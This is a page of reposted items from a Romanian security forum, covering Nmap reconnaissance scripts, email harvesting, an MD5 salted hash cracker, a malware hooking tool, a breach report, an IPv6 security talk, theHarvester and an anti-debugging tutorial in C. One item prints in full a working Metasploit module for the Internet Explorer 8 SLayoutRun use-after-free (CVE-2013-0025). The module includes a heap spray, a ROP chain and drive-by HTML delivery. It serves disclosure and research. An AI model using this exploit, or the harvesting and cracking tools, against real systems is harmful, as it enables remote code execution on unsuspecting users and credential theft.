  15. Information Gathering With Nmap Nmap is tool that can perform various activities in a penetration test.The function of NSE (Nmap Scripting Engine) and the scripts that have written so far they can transform Nmap to a multi purpose tool.For example we can use Nmap during the information gathering stage of a penetration test just by using the appropriate scripts.In this article we will examine those scripts and the information that we can extract. One of our first steps it can be to determine the origin of the IP address that our client has given to us.Nmap includes in his database a couple of scripts for this purpose.If we want to run all these scripts we can use the following command as it can be seen in the image below: Nmap – IP Geolocation As we can see the script called an external website (geobytes) in order to determine the coordinates and location of our target. Whois The command Whois can be run directly through the console in Linux environments.However there is a specific script for Nmap that performs the same job and it can be used.This script will return information about the registrar and contact names. Nmap – Whois Email Accounts Email accounts can prove also important in a penetration test as it can be used as usernames,in social engineering engagements (i.e Phishing Attacks)or in a situation where we have to conduct brute force attacks against the mail server of the company.There are two scripts available for this job: http-google-email http-email-harvest The http-google-email script uses the Google Web and Google Groups in order to search for emails about the target host while the http-email-harvest spiders the web server and extracts any email addresses that it discovers.The http-email-harvest is in the official repository of Nmap and the http-google-email script can be downloaded from here. Nmap – Discover Email Accounts Brute Force DNS Records DNS records contains a lot of information about a particular domain which cannot be ignored.Of course there are specific tools for brute forcing DNS records which can produce better results but the dns-brute script can perform also this job in case that we want to extract DNS information during our Nmap scans. Nmap – Brute Forcing DNS Discovering Additional Hostnames We can discover additional hostnames that are based on the same IP address with the nmap script http-reverse-ip.This script can help us to find other web applications that exist on the same web server.It is an external script that can be downloaded from here. Nmap – Reverse IP Conclusion In this article we examined some Nmap scripts (internal and external) that can be used during the information gathering stage of a penetration test and before we start the actual scanning.The information that we have obtained proves that Nmap can perform almost any task with his scripts.If it cannot do something that you want then it is time to write your own Lua scripts and to contribute to the community. Sursa: Information Gathering With Nmap
      • 1
      • Downvote
  16. Am si eu o nelamurire... Ce dracu facea "virusu" asta? Am inteles ca "nu puteai face nimic" pana nu introduceai nu stiu ce cod care trebuia platit. Bun: disable task manager, fereastra fullscren, block input... Mai exact vreo 3 linii de cod. Sau avea ceva special si nu stiu eu?
  17. [TABLE=align: left] [TR] [TD][TABLE=width: 100%] [TR] [TD=align: justify]MD5 Salted Hash Kracker is the free tool to crack and recover your lost password from the salted MD5 hash. [/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=align: justify] These days most websites and applications use salt based MD5 hash generation to prevent it from being cracked easily using precomputed hash tables such as Rainbow Crack. In such cases, 'MD5 Salted Hash Kracker' will help you to recover your lost password from salted MD5 hash. It uses dictionary based cracking method which makes the cracking operation simple and easier. By default small dictionary file is included but you can find good collection of password dictionaries (also called wordlist) here & here Though it supports only Dictinary Crack method, you can easily use tools like Crunch, Cupp to generate brute-force based or any custom password list file and then use it with 'MD5 Salted Hash Kracker'. It also allow you to specify the salt position either in the beginning of password [ md5(salt+password)] or at the end of the password [md5(password+salt)]. In case you want to perform normal MD5 hash cracking without the salt then just leave the Salt field blank. It works on both 32-bit & 64-bit Windows platforms starting from Windows XP to Windows 8. [/TD] [/TR] [/TABLE] [TABLE=align: left] [TR] [TD=class: page_subheader]Screenshots[/TD] [/TR] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD]Screenshot 1: MD5 Salted Hash Kracker is showing the recovered Password for MD5 hash text.[/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD]Screenshot 2: MD5 Hash Password Recovery report generated by MD5SaltedHashKracker[/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD] Info: MD5 Salted Hash Kracker : Salted MD5 Hash Password Cracker and Recovery Software Download: http://securityxploded.com/download.php#md5saltedhashkracker [/TD] [/TR] [/TABLE]
  18. [h=1][Kernel-Sources] Xperia Z [/h] Open source download for Xperia™ Z (SO-02E); software version 10.1.D.0.317. http://dl-developer.sonymobile.com/code/copylefts/10.1.D.0.317.tar.bz2 Links: - [Kernel-Sources] Xperia Z (SO-02E) {FW: 10.1.D.0.317} - xda-developers - Xperia Z - 4.1.2 - 10.1.A.1.350 - C6602 / C6603 Firmware - for DEVS - xda-developers - DoCoMo SO-02E Xperia Z - 4.1.2 - 10.1.D.0.317 Firmware - for DEVS - xda-developers - [system dump] Xperia Z C6603 10.1.A.1.350 - xda-developers
  19. [sqlI] Join syntax
  20. Hook Analyser Malware Tool 2.3 Authored by Beenu Arora | Site hookanalyser.blogspot.com Hook Analyser is a hook tool which can be potentially helpful in reversing applications and analysing malware. It can hook to an API in a process and search for a pattern in memory or dump the buffer. Changes: New digger module that allows dumping of exes, dlls, and drivers from an executable to separate files. New packer detection and hexdump modules added. Download: http://packetstormsecurity.com/files/download/120310/HookAnalyser2.3.zip Sursa: Hook Analyser Malware Tool 2.3 ? Packet Storm
  21. [h=1]Largest Percentage of 2012 Cyberattacks Originated in Romania, Study Finds[/h]February 15th, 2013, 00:09 GMT · By Eduard Kovacs Most security solutions providers are rushing to release their 2013 threat reports and Trustwave is among them. The company has released its 2013 Trustwave Global Security Report, which highlights the trends from the analysis of over 450 data breaches. In addition to the data breaches, the study is also based on more than 2,500 penetration tests, 2 million network and vulnerability scans, 9 million web application attacks, 5 million malicious websites, 20 billion emails, and several zero-day exploits. The figures reveal that applications have become the most popular attack vector, with e-commerce sites being the number one targeted assets. Worryingly, in 64% of cases, it took attacked organizations more than 90 days to detect an intrusion. The average time for detection was 210 days, which is 35 days longer than it did in 2011. Weak passwords, clicking on malicious links and other risky employee behavior leave the door open for further attacks, the study has found. Of all the intrusion methods identified in 2012, SQL Injection and remote access were the most prevalent, accounting for 73% of infiltration methods. Cyberattacks were discovered in 29 countries, but curiously, the largest percentage (34.4%) of them originated in Romania. When it comes to malware, 40 variations of malware have been found in the 450 cases investigated by Trustwave. It’s believed that 6 criminal groups are responsible for developing them. And since we’re talking about malware, it appears the US and Russia are the largest contributors to malware attacks. “Cybercriminals will never stop trying to compromise systems to obtain valuable information such as customer and private user data, corporate trade secrets and payment card information,” explained Robert McCullen, CEO, chairman and president of Trustwave. “This year’s Global Security Report pulls back the curtain revealing how breaches happen and how potential victims around the world can protect themselves so that they stay one step ahead and eliminate potential security threats.” The complete report will be made available before the RSA Conference in San Francisco. Users who want to receive a complimentary copy can sign up for one here. Sursa: Largest Percentage of 2012 Cyberattacks Originated in Romania, Study Finds - Softpedia
  22. Internet Explorer SLayoutRun Use After Free Vulnerability Description A Use-after-free memory corruption vulnerability was identified in Microsoft Internet Explorer 8. This allows a malicious user to remotely execute arbitrary code on a vulnerable user’s machine, in the context of the current user. The memory corruption happens when the application of a style sheet performs style computations on the DOM. A CParaElement node is released but a reference is still kept in CDoc. This memory is reused when a CDoc relayout is performed. Exploitation Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means. Due to the inability to dynamically create an object while still triggering the vulnerability, a clean vtable overwrite was not possible. To exploit this vulnerability a ‘pray-after-free’ approach was taken. This approach works by filling memory with incremental sized blocks in the hope that an allocation of the correct size will be placed into the memory location of the freed object. Below is a Metasploit module which exploits this vulnerability: ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb def initialize(info={}) super(update_info(info, 'Name' => "Microsoft Internet Explorer SLayoutRun Use-After-Free", 'Description' => %q{ This module exploits a use-after-free vulnerability in Microsoft Internet Explorer where a CParaElement node is released but a reference is still kept in CDoc. This memory is reused when a CDoc relayout is performed. }, 'License' => MSF_LICENSE, 'Author' => [ 'Scott Bell <scott.bell@security-assessment.com>', # Vulnerability discovery & Metasploit module ], 'References' => [ [ 'CVE', '2013-0025' ], [ 'MSB', 'MS13-009' ], [ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ], ], 'Payload' => { 'BadChars' => "\x00", 'Space' => 1024, 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ] ], 'Privileged' => false, 'DisclosureDate' => "Feb 13 2013", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def heap_spray(my_target, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) js = %Q| var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x300; i++) { heap_obj.alloc(block); } var overflow = nops.substring(0, 10); | js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end return js end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil? # ROP chain generated by mona.py - See corelan.be case t['Rop'] when :msvcrt print_status("Using msvcrt ROP") rop_nops = [0x77c39f92].pack("V") * 11 # RETN rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'}) rop_payload << rop_nops rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN rop_payload << [0x77c39f92].pack("V") # RETN rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset rop_payload << code end return rop_payload end def this_resource r = get_resource return ( r == '/') ? '' : r end def get_exploit(my_target, cli) p = get_payload(my_target, cli) js = heap_spray(my_target, p) html = %Q| <!doctype html> <html> <head> <script> var data var objArray = new Array(1800); #{js} setTimeout(function(){ for (var i=0;i<objArray.length;i++){ objArray[i] = document.createElement('body'); document.body.appendChild(objArray[i]) objArray[i].style.display = "none" } document.body.style.whiteSpace = "pre-line" for(var i=0;i<10;i++){ for (var i=0;i<(objArray.length-650);i++){ objArray[i].className = data += unescape("%u0c0c%u0c0c"); } } setTimeout(function(){document.body.innerHTML = "boo"}, 100) }, 100) </script> </head> <body> <p> </p> </body> </html> | return html end def get_iframe html = %Q| <html> <body> <iframe src="#{this_resource}/#{@iframe_name}" height="1" width="1"></iframe> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end if uri =~ /#{@iframe_name}/ html = get_exploit(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML...") elsif uri=~ /\/$/ html = get_iframe print_status "Sending IFRAME..." end send_response(cli, html, {'Content-Type'=>'text/html'}) end def exploit @iframe_name = "#{Rex::Text.rand_text_alpha(5)}.html" super end end Metasploit module: www.security-assessment.com/files/documents/advisory/ms13_009_ie_slayoutrun_uaf.rb Paper: http://www.security-assessment.com/files/documents/advisory/ms13_009_ie_slayoutrun_uaf.pdf Sursa: Microsoft Internet Explorer 8 Use-After-Free ? Packet Storm
  23. Recent Advances In Ipv6 Security Description: The IPv6 protocol suite was designed to accommodate the present and future growth of the Internet, and is expected to be the successor of the original IPv4 protocol suite. It has already been deployed in a number of production environments, and many organizations have already scheduled or planned its deployment in the next few years. Additionally, a number of activities such as the World IPv6 Day in 2011 and the upcoming World IPv6 Launch Day (scheduled for June 2012) have led to an improvement in IPv6 awareness and an increase in the number of IPv6 deployments. There are a number of factors that make the IPv6 protocol suite interesting from a security standpoint. Firstly, being a new technology, technical personnel has much less confidence with the IPv6 protocols than with their IPv4 counterpart, and thus it is more likely that the security implications of the protocols be overlooked when the protocols are deployed. Secondly, IPv6 implementations are much less mature than their IPv4 counterparts, and thus it is very likely that a number of vulnerabilities will be discovered in them before their robustness matches that of the existing IPv4 implementations. Thirdly, security products such as firewalls and NIDS's (Network Intrusion Detection Systems) usually have less support for the IPv6 protocols than for their IPv4 counterparts, either in terms of features or in terms of performance. Fourthly, the security implications of IPv6 transition/co-existence technologies on existing IPv4 networks are usually overlooked, potentially enabling attackers to leverage these technologies to circumvent IPv4 security measures in unexpected ways. During the last few years, the UK CPNI (Centre for the Protection of National Infrastructure) carried out the first comprehensive security assessment of the Internet Protocol version 6 (IPv6) and related technologies (such as transition/co-existence mechanisms). The result of the aforementioned project is a series of documents that provide advice both to programmers implementing the IPv6 protocol suite and to network engineers and security administrators deploying or operating the protocols. Part of the results of the aforementioned project have been recently published, leading to a number of improvements in many IPv6 implementations, and in the protocol specifications themselves. Fernando Gont will discuss the results of the aforementioned project, introducing the attendees to the "state of the art" in IPv6 security, and providing advice on how to deploy the IPv6 protocols securely. Gont will also discusss recent advances in IPv6 security areas such as Denial of Service attacks, firewall circumvention, network reconnaissance, and First-Hop security, and will describe other IPv6 security areas in which further work is needed. Finally, he will describe some vulnerabilities found in popular IPv6 implementations, such as NDbased Denial of Service attacks, and vulnerabilities arising from the use of predictable IPv6 Fragment Identification or Flow Label values. Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Recent Advances In Ipv6 Security
  24. [h=1]theHarvester 2.2a![/h]by Mayuresh on February 13, 2013 “theHarvester is a tool for gathering emails, subdomains, hosts, employee names, open ports and banners from different public sources like search engines, PGP key servers and SHODAN computer database. This tools is intended to help Penetration testers in the early stages of the project. This is a complete rewrite of the tool with new features like: Time delays between request All sources search Virtual host verifier Active enumeration (DNS enumeration, Reverse lookups, TLD expansion) Integration with SHODAN computer database, to get the open ports and banners Save to XML and HTML Basic graph with stats New sources” [h=2]Official change log for theHarvester:[/h] Fixed Linkedin parser (thanks Alton Johnson and Francesco Stillavato) New banner with superpowers [h=3]Download theHarvester:[/h] theHarvester 2.2a – theHarvester-2.2a.tar.gz Sursa: theHarvester version 2.2a! — PenTestIT
  25. Anti-Debugging: Detecting System Debugger Dejan Lukan February 14, 2013 Introduction In the previous tutorial, we’ve talked about techniques that harden the reverse engineering of the executable and then we looked at anti-debugging techniques. We’ve mentioned the IsDebuggerPresent function and analyzed it in depth. Now in this tutorial, we’re going to look at other ways we can use anti-debugging techniques to detect whether a debugger is being used to debug the program in question. SystemKernelDebuggerInformation The SystemKernelDebuggerInformation function can be used to determine if a kernel debugger is currently being attached to the system. We can retrieve specified system information with functions like NtQuerySystemInformation or ZwQuerySystemInformation. Let’s take a look at the NtQuerySystemInformation function first; the syntax of which is as follows: NTSTATUS WINAPI NtQuerySystemInformation( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength ); We need to pass four parameters to the function: SystemInformationClass: the type of the system information that we would like to retrieve. Possible values are: SystemBasicInformation, SystemExceptionInformation, etc [1]. SystemInformation: a pointer to a buffer that receives the requested information [1]. SystemInformationLength: the size of the buffer pointed to by the SystemInformation parameter. ReturnLength: an optional pointer to a location where the function writes the actual size of the information requested. The ZwQuerySystemInformation function is basically the same as NtQuerySystemInformation, so we won’t describe it in detail. Let’s just present its syntax, which can be seen below: NTSTATUS WINAPI ZwQuerySystemInformation( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength ); It’s a common belief that we should use Zw functions when doing really low level stuff, so we’ll use that function in our example. At the end of the MSDN function call API reference, there’s an important sentence that says the following: “If you do use ZwQuerySystemInformation, access the function through run-time dynamic linking. This gives your code an opportunity to respond gracefully if the function has been changed or removed from the operating system. Signature changes, however, may not be detectable. This function has no associated import library. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Ntdll.dll.” This means that we can’t just include the Ntdll library into our program and call the function directly. Instead, we must dynamically load the Ntdll.dll library into the process and get the address of the function before calling it. At first, we can write a program like this to confirm that the function we would like to call is indeed accessible in the Ntdll.dll library: #include "stdafx.h" #include <stdio.h> #include <windows.h> #include <Winternl.h> int _tmain(int argc, _TCHAR* argv[]) { typedef long NTSTATUS; #define STATUS_SUCCESS ((NTSTATUS)0L) HANDLE hProcess = GetCurrentProcess(); typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION { BOOLEAN DebuggerEnabled; BOOLEAN DebuggerNotPresent; } SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION; enum SYSTEM_INFORMATION_CLASS { SystemKernelDebuggerInformation = 35 }; typedef NTSTATUS (__stdcall *ZW_QUERY_SYSTEM_INFORMATION)(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); ZW_QUERY_SYSTEM_INFORMATION ZwQuerySystemInformation; SYSTEM_KERNEL_DEBUGGER_INFORMATION Info; /* load the ntdll.dll */ HMODULE hModule = LoadLibrary(_T("ntdll.dll")); ZwQuerySystemInformation = (ZW_QUERY_SYSTEM_INFORMATION)GetProcAddress(hModule, "ZwQuerySystemInformation"); if(ZwQuerySystemInformation == NULL) { printf("Error: could not find the function ZwQuerySystemInformation in library ntdll.dll."); exit(-1); } printf("ZwQuerySystemInformation is located at 0x%08x in ntdll.dll.\n", (unsigned int)ZwQuerySystemInformation); if (STATUS_SUCCESS == ZwQuerySystemInformation(SystemKernelDebuggerInformation, &Info, sizeof(Info), NULL)) { if (Info.DebuggerEnabled && !Info.DebuggerNotPresent) { printf("System debugger is present."); } else { printf("System debugger is not present."); } } /* wait */ getchar(); return 0; } We can see that we’ve called the LoadLibrary function to load the Ntdll.dll library into the current program’s address space. After that, we take the handle of the currently loaded module Ntdll.dll and use it within the GetProcAddress function call to get the address of the ZwQuerySystemInformation function. We then check whether the returned address is NULL, in which case the function is not present in the Ntdll.dll library so we print an error message about the absence of the function and terminate the program. Otherwise, the function is present in the Ntdll.dll library, so we print its address. When we compile the program, the address of the function will be displayed. After that, we call the ZwQuerySystemInformation function to get the SystemKernelDebuggerInformation information that we need. We save the result in Info variable, which we then use to check if Info.DebuggerEnabled is true and if Info.DebuggerNotPresent is false. If both conditions hold, then we print that the system debugger is present, otherwise we print that the system debugger is not present. Because we don’t have a system debugger attached, the message saying system debugger not being present is displayed, as we can see on the picture below: Trap Flag Here we’ll exploit the fact that every debugger uses the TP in EFLAGS register when debugging the process. This can be used by setting the trap flag manually in the current process and checking if the exception is raised or not by the use of try-catch statements. If the except{} block is not called, then a debugger handled the exception and it is currently debugging the process. But if the except{} block was called, then a debugger isn’t present and the process is executing normally without being debugged. This approach detects user-mode as well as kernel-mode debuggers, because they all use the trap flag for debugging a program. The following code is taken from [2] and is the implementation of the above description: #include "stdafx.h" #include <stdio.h> #include <windows.h> int _tmain(int argc, _TCHAR* argv[]) { BOOL bExceptionHit = FALSE; __try { _asm { pushfd or dword ptr [esp], 0x100 popfd // Set the Trap Flag // Load value into EFLAGS register nop } } __except(EXCEPTION_EXECUTE_HANDLER) { bExceptionHit = TRUE; // An exception has been raised – // there is no debugger. } if (bExceptionHit == FALSE) printf("A debugger is present.\n"); else printf("There is no debugger present.\n"); /* wait */ getchar(); return 0; } We can see that first, we initialize the Boolean variable bExceptionHit to false. Then we use the try-except block to execute some code. In the try block is some code that must be executed where if an exception occurs, the except{} block is called which sets the Boolean bExceptionHit variable to true. If we compile and run the program now under the Visual Studio debugger, the program will print a statement about the debugger being present, as we can see on the picture below: This is ok and proves that the above code works as expected, since it was clearly able to identify that a debugger is present. But if we copy the compiled executable to Desktop and run that executable in cmd.exe, we can see that the program will print the statement about the debugger not being present; we can see this on the picture below: This is proof that the above code works the way it should: it prints that the debugger is present when we’re running the program under the debugger and it prints that the debugger is not present when running the program normally. Let’s take a look at the try{} block: in it, we’re first saving the value of the flag register onto the stack. Then we’re xoring the value pushed on the stack with the number 0×100 and restoring the flag register’s value (the xored value). What follows is also one nop instruction that doesn’t do anything. So far it’s not exactly evident how the exception should occur because we’re not doing anything that could result in an invalid exception being executed, but wait a few moments and everything will become clear. If we load the program in Ida debugger, we can quickly locate the main function of the executable, which is presented on the picture below: In the main function, we first initialize the stack, but that’s really not important at the moment. What’s important is the assembly instruction from the C source code; we can see them on the picture above (notice the pushf instruction and the following 3 instructions). Those are exactly the instructions we’ve inputted in the C source code in the __asm block. If we set a breakpoint on the pushf instruction and run the program, the program will stop executing exactly on the pushf instruction because of the breakpoint. If we then step through the program, an exception will occur when trying to execute the “popf” instruction. We can see the exception occurring on the picture below: When we tried to execute the popf instruction, a new window pops up, notifying us that the instruction at address 0x41141E (which is exactly the popf instruction) is trying to set the trace bit in the flags register. Here we have a choice of either setting the trace bit, in which case we’re telling Ida to handle the exception by itself, so the program’s exception handler will not be invoked. If we press Run, we’re telling Ida to ignore setting the trace bit and instead generate an exception, which will successfully invoke the program’s exception handler routine and set the bExceptionHit to true. Actually, we can only choose to press the buttons “Run” or “Single step” but in either case, the program’s exception handling routine will be called, so the program will be able to determine that a debugger is being used to execute the program. But why does the exception occur? When the pushf instruction is executed, it will push the values presented on the picture below to the stack: So the value of 0×00000306 gets pushed to the stack at address 0x0012FE70. Then the xoring of the value 0×306 and 0×100 happens. Don’t worry about the [esp+0F8h+var_F8], which is displayed by Ida; the local variable var_F8 holds the value -0xF8, so the expression is actually [esp+0F8h-0F8h], which points exactly to the top of the stack [esp]. So the following operation happens next: 0×306 == 0011 0000 0110 0×100 == 0001 0000 0000 ———— XOR ————- 0×206 == 0010 0000 0110 The end result of the XOR operation is 0×206, which is the new value of the FLAGS register. This effectively inverts the 9th (if we start counting at 1) bit of EFLAGS register, which corresponds to the trap flag TP. Let’s also present the first 12 bits of the EFLAGS register, which can be seen below. Here we can clearly see that the 8th bit is the TF (if we start counting at 0). The picture is taken from the [3]. Basically, we’re inverting the value of the trap flag register, which causes the exception to be generated. We can then catch the exception, which notifies us that the debugger is not present. But if we can’t catch the exception, a debugger is clearly handling the exception and is not passing it on to the program to handle it. Conclusion We’ve seen two special techniques that can be used to detect whether a debugger is currently being used to run the executable or not. This can be a good way to detect if a user is debugging our application and to terminate the application if that happens, which effectively prevents users from debugging our application. References: [1]: http://msdn.microsoft.com/en-us/library/windows/desktop/ms724509(v=vs.85).aspx accessible at http://msdn.microsoft.com/en-us/library/windows/desktop/ms724509(v=vs.85).aspx. [2]: Eldad Eilam, Reversing, Secrets of Reverse Engineering. [3]: FLAGS register, accessible on FLAGS register - Wikipedia, the free encyclopedia. Sursa: InfoSec Institute Resources – Anti-Debugging: Detecting System Debugger
×
×
  • Create New...